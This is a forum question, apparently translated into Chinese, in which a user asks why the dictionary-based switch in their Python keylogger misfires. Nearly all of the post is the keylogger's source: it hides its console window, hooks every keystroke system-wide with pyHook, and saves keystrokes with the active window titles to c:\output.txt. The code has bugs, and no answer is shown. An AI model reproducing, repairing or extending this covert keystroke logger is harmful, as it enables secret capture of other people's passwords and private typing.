我使用字典映射作为case/switch语句,使用下面的代码进行keyhooking
import win32api
import win32console
import win32gui
import pythoncom,pyHook
win=win32console.GetConsoleWindow()
win32gui.ShowWindow(win,0)
def OnKeyboardEvent(event):
global currentWindow
currentWindow = event.WindowName
keyAscii = event.Ascii
keyAscii = {
0 : nullKeyID(event.KeyID),
5 : Five,
8 : Eight,
13 : Thirteen,
}
kbother = keyAscii.get(event.Ascii, otherKeys)
kbother(chr(event.Ascii))
def nullKeyID(keyHooking):
key = {
160 : LSHIFT,
161 : RSHIFT,
162 : LCONTROL,
163 : RCONTROL,
}
return key[keyHooking]
def LSHIFT(keyHooking):
lshft = '[L.SHIFT]'
otherKeys(lshft)
def RSHIFT(keyHooking):
rshft = '[R.SHIFT]'
otherKeys(rshft)
def LCONTROL(keyHooking):
lctrl = '[L.CTRL]'
otheryKeys(lctrl)
def RCONTROL(keyHooking):
rctrl = '[R.CTRL]'
otherKeys(rctrl)
def Five(keyHooking):
_exit(1)
def Eight(keyHooking):
bskey = '[BS]'
otherKeys(bskey)
def Thirteen(keyHooking):
enterkey = '[ENTER]'
otherKeys(enterkey)
lastWindow = 'None'
def otherKeys(keyHooking):
global currentWindow
global lastWindow
#open output.txt to read current keystrokes
f=open('c:\output.txt','r+')
buffer=f.read()
boofer=f.read()
f.close()
#open output.txt to write current + new keystroke
keylogs=keyHooking
buffer+=keylogs
boofer+=keylogs
if currentWindow != lastWindow:
with open('c:\output.txt','a') as f:
f.write('\n\n')
f.write(currentWindow)
f.write('\n')
f.write(boofer)
f.close()
lastWindow = currentWindow
elif currentWindow == lastWindow:
with open('c:\output.txt','w') as f:
f.write(buffer)
f.close()
hm=pyHook.HookManager()
hm.KeyDown=OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
无论何时事件.Ascii触发0(null)我会抓取KeyID,并将其发送给nullKeyID,后者可以工作。。但是我按下的任何其他键,它也会抓取keyID,因为它不在字典中。。我发现它返回0,但我以为我是在用下面的代码设置自己的默认值?你知道吗
kbother = keyAscii.get(event.Ascii, otherKeys)
kbother(chr(event.Ascii))
但事实似乎并非如此,有没有办法阻止这种情况发生?如果可能的话,我想避免if/else statements
。你知道吗
目前没有回答
相关问题 更多 >
编程相关推荐